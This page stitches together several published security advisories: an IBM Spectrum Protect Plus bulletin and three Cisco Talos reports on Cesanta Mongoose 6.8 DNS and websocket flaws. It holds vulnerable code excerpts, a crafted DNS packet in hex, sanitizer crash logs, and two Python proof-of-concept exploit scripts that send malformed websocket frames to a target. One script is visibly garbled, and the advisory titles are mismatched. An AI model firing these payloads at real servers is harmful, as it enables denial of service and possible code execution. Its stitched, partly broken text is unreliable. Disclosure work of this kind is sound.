When using IBM Spectrum Protect Plus 10.1.0, 10.1.2, and 10.1.3 to protect Oracle, DB2 or MongoDB databases, a redirected restore operation specifying a target path may allow execution of arbitrary code on the system. IBM X-Force ID: 161667,

  

**Summary**

IBM Spectrum Protect Plus application protection could allow a local attacker to gain elevated privileges or execute arbitrary code on the system.

**Vulnerability Details**

**CVEID:** CVE-2019-4383  
**DESCRIPTION:** When using Spectrum Protect Plus to protect Oracle or MongoDB databases, a redirected restore operation may result in an escalation of user privileges.  
CVSS Base Score: 7.9  
CVSS Temporal Score: See https://exchange.xforce.ibmcloud.com/vulnerabilities/162165 for the current score  
CVSS Environmental Score\*: Undefined  
CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)

**CVEID:** CVE-2019-4357  
**DESCRIPTION:** When using Spectrum Protect Plus to protect Oracle, DB2 or MongoDB databases, a redirected restore operation specifying a target path may allow execution of arbitrary code on the system.  
CVSS Base Score: 8.2  
CVSS Temporal Score: See https://exchange.xforce.ibmcloud.com/vulnerabilities/161667 for the current score  
CVSS Environmental Score\*: Undefined  
CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

**Affected Products and Versions**

IBM Spectrum Protect Plus 10.1.1 (Oracle)

IBM Spectrum Protect Plus 10.1.2 (Oracle and Db2)

IBM Spectrum Protect Plus 10.1.3 (Oracle, Db2, and MongoDB)

**Remediation/Fixes**

**Workarounds and Mitigations**

None

**References**

Off

**Change History**

27 June 2019 - original version published

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

Review the IBM security bulletin disclaimer and definitions regarding your responsibilities for assessing potential impact of security vulnerabilities to your environment.

**Internal Use Only**

Advisory 16516 Record 137609  
Advisory 16517 Record 137610

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU058","label":"IBM Infrastructure w\\/TPS"},"Product":{"code":"SSNQFQ","label":"IBM Spectrum Protect Plus"},"Component":"","Platform":\[{"code":"PF002","label":"AIX"},{"code":"PF016","label":"Linux"}\],"Version":"10.1.0;10.1.2;10.1.3","Edition":"","Line of Business":{"code":"LOB26","label":"Storage"}}\]

CVE-2019-4357: Security Bulletin: Privilege escalation and code injection vulnerabilities in IBM Spectrum Protect Plus application protection (CVE-2019-4383, CVE-2019-4357)

An infinite loop programming error exists in the DNS server functionality of Cesanta Mongoose 6.8 library. A specially crafted DNS request can cause an infinite loop resulting in high CPU usage and Denial Of Service. An attacker can send a packet over the network to trigger this vulnerability.

**Summary**

An infinite loop programming error exists in the DNS server functionality of Cesanta Mongoose 6.8 library. A specially crafted DNS request can cause an infinite loop resulting in high CPU usage and Denial Of Service. An attacker can send a packet over network to trigger this vulnerability.

**Tested Versions**

Cesanta Mongoose 6.8

**Product URLs**

https://cesanta.com/

**CVSSv3 Score**

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-835: Loop with Unreachable Exit Condition (‘Infinite Loop’)

**Details**

Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, DNS and others. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.

In a DNS request packet, a name can be compressed to save space. The compression in question relies on pointers to parts of the domain name already present in the packet. When decompressing the names, the DNS server software must look up those pointers and substitute them accordingly.

In the Mongoose library, the function mg_dns_uncompress_name is responsible for decompressing names and a special case for pointers is handled:

    while ((chunk_len = *data++)) {                                        [3]
     int leeway = dst_len - (dst - old_dst);
     if (data >= end) 
       return 0;
     
    
     if (chunk_len & 0xc0) {                                        [1]
       uint16_t off = (data[-1] & (~0xc0)) << 8 | data[0];
       if (off >= msg->pkt.len) {
         return 0;
       
       data = (unsigned char *) msg->pkt.p + off;                        [2]
       continue;
    

The name chunk pointer is encoded in a single byte having 2 most significant bits set (0xc0) and rest are an offset to the actual name. In the above code, at \[1\], a check is performed to see if the current chunk is actually a pointer, and if so, the offset is extracted instead. At \[2\], this offset is used to advance the parser by adding it to start of the packet. The loop then continues at \[3\].

In the above code, no check is performed to see if the calculated offset refers to the same position, or if the pointer points to another pointer. No valid DNS query should have a pointer pointing to another pointer and precisely that kind packet will cause an infinite loop in the above code. An example packet:

    00000000: 0020 a577 0120 0001 0000 0000 0001 c00c  . .w. ..........
    00000010: 0000 0000 0100 0100 0029 1000 0000 0000  .........)......
    00000020: 0000 0a                                  …
    

At offset 14 above, we have a start of name chunk, which specifies a pointer (0xc0), followed by 0x0c which represents it’s offset from the start of the packet, past the 2 ID bytes. When parsing this packet, function mg_dns_uncompress_name will enter an infinite loop, because the first chunk points to itself.

This causes 100% CPU usage and Denial Of Service.

**Timeline**

2017-08-30 - Vendor Disclosure  
2017-10-31 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.

CVE-2017-2909: TALOS-2017-0416 || Cisco Talos Intelligence Group

An exploitable memory corruption vulnerability exists in the Websocket protocol implementation of Cesanta Mongoose 6.8. A specially crafted websocket packet can cause an integer overflow, leading to a heap buffer overflow and resulting in denial of service and potential remote code execution. An attacker needs to send a specially crafted websocket packet over network to trigger this vulnerability.

**Summary**

An exploitable memory corruption vulnerability exists in the Websocket protocol implementation of Cesanta Mongoose 6.8. A specially crafted websocket packet can cause an integer overflow resulting leading to heap buffer overflow resulting in denial of service and potential remote code execution. An attacker needs to send a specially crafted websocket packet over network to trigger this vulnerability.

**Tested Versions**

Cesanta Mongoose 6.8

**Product URLs**

https://cesanta.com/

**CVSSv3 Score**

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-190: Integer Overflow or Wraparound

**Details**

Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. Its HTTP implementation includes upgrade support required for websocket applications. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.

After the initial websocket handshake and while parsing a websocket packet, an integer overflow involving header length and packet size can occur. Insufficient checks after the potential overflow can later lead to very large memory overwrite which can result in heap memory corruption, process crash and potentially in remote code execution.

    Function `mg_deliver_websocket_data` is responsible for parsing the websocket packet. Relevant code is:
    
    
    
    uint64_t i, data_len = 0, frame_len = 0, buf_len = nc->recv_mbuf.len, len,                  [1]
               mask_len = 0, header_len = 0;
      ...
     if (buf_len >= 2) 
     ...
       else if (buf_len >= 10 + mask_len) 
       header_len = 10 + mask_len;                                                            [2]
       data_len = (((uint64_t) ntohl(*(uint32_t *) &buf[2])) << 32) +                         [3]
                  ntohl(*(uint32_t *) &buf[6]);
     
       
    
    frame_len = header_len + data_len;                                                         [4]
     ok = frame_len > 0 && frame_len <= buf_len;                                                [5]
    
     if (ok) 
       ...
       /* Apply mask if necessary */
       if (mask_len > 0) {                
         for (i = 0; i < data_len; i++) 
           buf[i + header_len] ^= (buf + header_len - mask_len)[i % 4];                         [6]
    

In the above code, we can see at \[1\] local variables frame_len, header_len and data_len being declared as 64bit unsigned integers. At \[2\] header length is calculated since websocket protocol specifies variable length headers. At \[3\], 8 bytes from the packet are used as data_len directly. At \[4\], total frame_len is calculated and at \[5\] basic sanity checks are performed. If everything is ok, and the packet has mask bit set, at \[6\] all the data in the buffer is XORed with 4 byte mask.

An insufficient check above at \[5\] can allow for an integer overflow to pass undetected. In case data_lenis a very large value, adding header_len to it can lead to integer wraparound , resulting in small frame_len value. Small frame_len value passes frame_len <= buf_len check, while data_len is still huge and bigger than the actual buffer size. This results in a large heap overflow at \[6\] as the for loop is bounded by data_len only.

This causes the process to crash, leading to denial of service and in some cases potentially to remote code execution.

**Crash Information**

    Address sanitizer output:
    
    ==88164==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000006380 at pc 0x00000051abae bp 0x7fffffffb490 sp   
    0x7fffffffb488
    READ of size 1 at 0x619000006380 thread T0
      #0 0x51abad in mg_deliver_websocket_data /home/user/mongoose/examples/websocket_chat/../../mongoose.c:8866
      #1 0x51abad in ?? ??:0
      #2 0x5128d4 in mg_ws_handler /home/user/mongoose/examples/websocket_chat/../../mongoose.c:9045 (discriminator 1)
      #3 0x5128d4 in ?? ??:0
      #4 0x4f9de6 in mg_call /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2051
      #5 0x4f9de6 in ?? ??:0
      #6 0x4fdcf9 in mg_recv_common /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2502
      #7 0x4fdcf9 in ?? ??:0
      #8 0x506603 in mg_if_recv_tcp_cb /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2506
      #9 0x506603 in mg_handle_tcp_read /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3372
      #10 0x506603 in mg_mgr_handle_conn /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3497
      #11 0x506603 in ?? ??:0
      #12 0x509dd8 in mg_socket_if_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3690
      #13 0x509dd8 in ?? ??:0
      #14 0x4fb695 in mg_mgr_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2232
      #15 0x4fb695 in ?? ??:0
      #16 0x4ea65a in main /home/user/mongoose/examples/websocket_chat/websocket_chat.c:78
      #17 0x4ea65a in ?? ??:0
      #18 0x7ffff6ee582f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
      #19 0x7ffff6ee582f in ?? ??:0
      #20 0x418e58 in _start ??:?
      #21 0x418e58 in ?? ??:0
    
    
    0x619000006380 is located 0 bytes to the right of 1024-byte region [0x619000005f80,0x619000006380)
    allocated by thread T0 here:
      #0 0x4b8f88 in __interceptor_malloc ??:?
      #1 0x4b8f88 in ?? ??:0
      #2 0x506453 in mg_handle_tcp_read /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3336 (discriminator 1)
      #3 0x506453 in mg_mgr_handle_conn /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3497 (discriminator 1)
      #4 0x506453 in ?? ??:0
      #5 0x509dd8 in mg_socket_if_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3690
      #6 0x509dd8 in ?? ??:0
      #7 0x4fb695 in mg_mgr_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2232
      #8 0x4fb695 in ?? ??:0
      #4 0x60200000efef  (<unknown module>)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/user/mongoose/examples/websocket_chat/websocket_chat+0x51abad)
    Shadow bytes around the buggy address:
    0x0c327fff8c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c327fff8c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c327fff8c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c327fff8c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c327fff8c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c327fff8c70:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c327fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c327fff8c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c327fff8ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c327fff8cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c327fff8cc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
    Addressable:           00
    Partially addressable: 01 02 03 04 05 06 07
    Heap left redzone:       fa
    Heap right redzone:      fb
    Freed heap region:       fd
    Stack left redzone:      f1
    Stack mid redzone:       f2
    Stack right redzone:     f3
    Stack partial redzone:   f4
    Stack after return:      f5
    Stack use after scope:   f8
    Global redzone:          f9
    Global init order:       f6
    Poisoned by user:        f7
    Container overflow:      fc
    Array cookie:            ac
    Intra object redzone:    bb
    ASan internal:           fe
    Left alloca redzone:     ca
    Right alloca redzone:    cb
    ==88164==ABORTING
    

**Exploit Proof-of-Concept**

    import socket
    import struct
    import sys
    http_upgrade = ('GET /chat HTTP/1.1\r\n'
                  'Host: server.example.com\r\n'
                  'Upgrade: websocket\r\n'
                  'Connection: Upgrade\r\n'
                  'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
                  'Sec-WebSocket-Protocol: chat, superchat\r\n'
                  'Sec-WebSocket-Version: 13\r\n'
                  'Origin: http://example.com\r\n\r\n')
    #only HTTP "Upgrade: websocket" header matters above, the above GET request was copied verbatim from wikipedia
    
    
    payload = "\x00" # FIN flag doesn't matter, opcode doesn't matter
    payload += chr(0x80 | 127 ) # mask is set, payload len of 127 means next 64 bits are actual payload len
    payload_len = 0xffffffffffffffff -12   #actual payload len
    payload += struct.pack("!Q",payload_len)
    masking_key = 0 #masking key can be anything, and would need to be a specific value in real exploit
    payload += struct.pack("I",masking_key)
    payload += "A"*40 #garbage to pad the packet
    
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1],int(sys.argv[2])))
    s.send(http_upgrade)
    print s.recv(1024)
    s.send(payload)
    print s.recv(1024)
    

**Timeline**

2017-08-30 - Vendor Disclosure  
2017-10-31 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.

CVE-2017-2921: TALOS-2017-0428 || Cisco Talos Intelligence Group

An exploitable memory corruption vulnerability exists in the Websocket protocol implementation of Cesanta Mongoose 6.8. A specially crafted websocket packet can cause a buffer to be allocated while leaving stale pointers which leads to a use-after-free vulnerability which can be exploited to achieve remote code execution. An attacker needs to send a specially crafted websocket packet over the network to trigger this vulnerability.

**Summary**

An exploitable memory corruption vulnerability exists in the Websocket protocol implementation of Cesanta Mongoose 6.8. A specially crafted websocket packet can cause a buffer to be allocated while leaving stale pointers which leads to a use-after-free vulnerability which can be exploited to achieve remote code execution. An attacker needs to send a specially crafted websocket packet over network to trigger this vulnerability.

**Tested Versions**

Cesanta Mongoose 6.8

**Product URLs**

https://cesanta.com/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-416: Use After Free

**Details**

Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. It’s HTTP implementation includes upgrade support required for websocket applications. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.

A websocket frame can be fragmented over multiple packets. Flags in the websocket header specify if the packet is fragmented and it’s order. When encountering a first frame fragment, a buffer reallocation causes several pointers to become invalid, but the code doesn’t invalidate or update them leading to potential use after free condition which can lead to further memory corruption.

In function mg_deliver_websocket_data responsible for parsing the websocket packet we observe the following code:

     if (reass) {                                                                         [1]
       /* On first fragmented frame, nullify size */
       if (mg_is_ws_first_fragment(wsm.flags)) {                                          [2]
         mbuf_resize(&nc->recv_mbuf, nc->recv_mbuf.size + sizeof(*sizep));                [3]
         p[0] &= ~0x0f; /* Next frames will be treated as continuation */                 [4]
         buf = p + 1 + sizeof(*sizep);                                                    [5]
         *sizep = 0; /* TODO(lsm): fix. this can stomp over frame data */                 [6]
       }
    
       /* Append this frame to the reassembled buffer */                        
       memmove(buf, wsm.data, e - wsm.data);                                              [7]
    

In the above code, if the packet is marked for reassembly (checked at \[1\]) and is first fragment (checked at \[2\]), receive buffer is resized at \[3\]. Function mbuf_resize actually calls realloc to resize the buffer. Calling realloc on a buffer to resize it doesn’t guarantee that the same memory would be used, a different heap chunk can be chosen and original data would be copied there. This effectively makes old pointers - pointing to original buffer - invalid. In the above code, stale pointers are reused at \[4\],\[5\],\[6\] and \[7\] to do memory reads, writes and a memory copy. Pointers p, buf,e,sizep and wsm.data are all initialized based on original nc->recv\_mbuf\` buffer at the beginning of the function:

    static int mg_deliver_websocket_data(struct mg_connection *nc) {
     /* Using unsigned char *, cause of integer arithmetic below */
     uint64_t i, data_len = 0, frame_len = 0, buf_len = nc->recv_mbuf.len, len,
               mask_len = 0, header_len = 0;
     unsigned char *p = (unsigned char *) nc->recv_mbuf.buf, *buf = p,
                 *e = p + buf_len;
    

Calling realloc won’t invalidate a pointer always but, in this case steps can be taken make that probability higher, like multiple simultaneous network connections. Not invalidating and updating pointers after realloc leads to a use after free condition which can be abused to cause denial of service and ultimately remote code execution.

**Crash Information**

    Address sanitizer output:
    
    ==88299==ERROR: AddressSanitizer: heap-use-after-free on address 0x619000005f80 at pc 0x00000051b1ee bp 0x7fffffffb490 sp 
    0x7fffffffb488
    READ of size 1 at 0x619000005f80 thread T0
      #0 0x51b1ed in mg_deliver_websocket_data /home/user/mongoose/examples/websocket_chat/../../mongoose.c:8874
      #1 0x51b1ed in ?? ??:0
      #2 0x5128d4 in mg_ws_handler /home/user/mongoose/examples/websocket_chat/../../mongoose.c:9045 (discriminator 1)
      #3 0x5128d4 in ?? ??:0
      #4 0x4f9de6 in mg_call /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2051
      #5 0x4f9de6 in ?? ??:0
      #6 0x4fdcf9 in mg_recv_common /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2502
      #7 0x4fdcf9 in ?? ??:0
      #8 0x506603 in mg_if_recv_tcp_cb /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2506
      #9 0x506603 in mg_handle_tcp_read /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3372
      #10 0x506603 in mg_mgr_handle_conn /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3497
      #11 0x506603 in ?? ??:0
      #12 0x509dd8 in mg_socket_if_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3690
      #13 0x509dd8 in ?? ??:0
      #14 0x4fb695 in mg_mgr_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2232
      #15 0x4fb695 in ?? ??:0
      #16 0x4ea65a in main /home/user/mongoose/examples/websocket_chat/websocket_chat.c:78
      #17 0x4ea65a in ?? ??:0
      #18 0x7ffff6ee582f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
      #19 0x7ffff6ee582f in ?? ??:0
      #20 0x418e58 in _start ??:?
      #21 0x418e58 in ?? ??:0
    
    
    0x619000005f80 is located 0 bytes inside of 1024-byte region [0x619000005f80,0x619000006380)
    freed by thread T0 here:
      #0 0x4b9308 in realloc ??:?
      #1 0x4b9308 in ?? ??:0
      #2 0x4f0275 in mbuf_resize /home/user/mongoose/examples/websocket_chat/../../mongoose.c:1044 (discriminator 1)
      #3 0x4f0275 in ?? ??:0
    
    
    previously allocated by thread T0 here:
      #0 0x4b8f88 in __interceptor_malloc ??:?
      #1 0x4b8f88 in ?? ??:0
      #2 0x506453 in mg_handle_tcp_read /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3336 (discriminator 1)
      #3 0x506453 in mg_mgr_handle_conn /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3497 (discriminator 1)
      #4 0x506453 in ?? ??:0
      #5 0x509dd8 in mg_socket_if_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3690
      #6 0x509dd8 in ?? ??:0
      #7 0x4fb695 in mg_mgr_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2232
      #8 0x4fb695 in ?? ??:0
      #4 0x60200000efef  (<unknown module>)
    
    
    SUMMARY: AddressSanitizer: heap-use-after-free (/home/user/mongoose/examples/websocket_chat/websocket_chat+0x51b1ed)
    Shadow bytes around the buggy address:
    0x0c327fff8ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c327fff8bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c327fff8bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c327fff8bd0: 04 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c327fff8be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    =>0x0c327fff8bf0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    0x0c327fff8c00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    0x0c327fff8c10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    0x0c327fff8c20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    0x0c327fff8c30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    0x0c327fff8c40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    Shadow byte legend (one shadow byte represents 8 application bytes):
    Addressable:           00
    Partially addressable: 01 02 03 04 05 06 07
    Heap left redzone:       fa
    Heap right redzone:      fb
    Freed heap region:       fd
    Stack left redzone:      f1
    Stack mid redzone:       f2
    Stack right redzone:     f3
    Stack partial redzone:   f4
    Stack after return:      f5
    Stack use after scope:   f8
    Global redzone:          f9
    Global init order:       f6
    Poisoned by user:        f7
    Container overflow:      fc
    Array cookie:            ac
    Intra object redzone:    bb
    ASan internal:           fe
    Left alloca redzone:     ca
    Right alloca redzone:    cb
    ==88299==ABORTING
    

**Exploit Proof-of-Concept**

    import socket
    import random
    import struct
    import sys
    http_upgrade = ('GET /chat HTTP/1.1\r\n'
                  'Host: server.example.com\r\n'
                  'Upgrade: websocket\r\n'
                  'Connection: Upgrade\r\n'
                  'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
                  'Sec-WebSocket-Protocol: chat, superchat\r\n'
                  'Sec-WebSocket-Version: 13\r\n'
                  'Origin: http://example.com\r\n\r\n')
    
    
    payload = "\x01" # need to pass two checks:
    """
    static int mg_is_ws_fragment(unsigned char flags) {
    return (flags & 0x80) == 0 || (flags & 0x0f) == 0;
    }
    
    
    static int mg_is_ws_first_fragment(unsigned char flags) {
    return (flags & 0x80) == 0 && (flags & 0x0f) != 0;
    }
    payload += chr(0x00 | 50 ) # packet doesn't have to be masked, so we can ommit it, size doesn't matter
    payload += "A"*(60+ random.randint(0,20000)) # rest of the packet doesn't matter
    """
    append random length of garbage so it's a bit easier to trigger the realloc when runing without ASAN ,
    valgrind, or libdislocator, otherwise ~60 is enough
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1],int(sys.argv[2])))
    s.send(http_upgrade)
    print s.recv(1024)
    s.send(payload)
    

**Timeline**

2017-08-30 - Vendor Disclosure  
2017-10-31 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.

CVE-2017-2922: TALOS-2017-0429 || Cisco Talos Intelligence Group

Integer overflow in the rsCStrExtendBuf function in runtime/stringbuf.c in the imfile module in rsyslog 4.x before 4.6.6, 5.x before 5.7.4, and 6.x before 6.1.4 allows local users to cause a denial of service (daemon hang) via a large file, which triggers a heap-based buffer overflow.

Tag

#mongo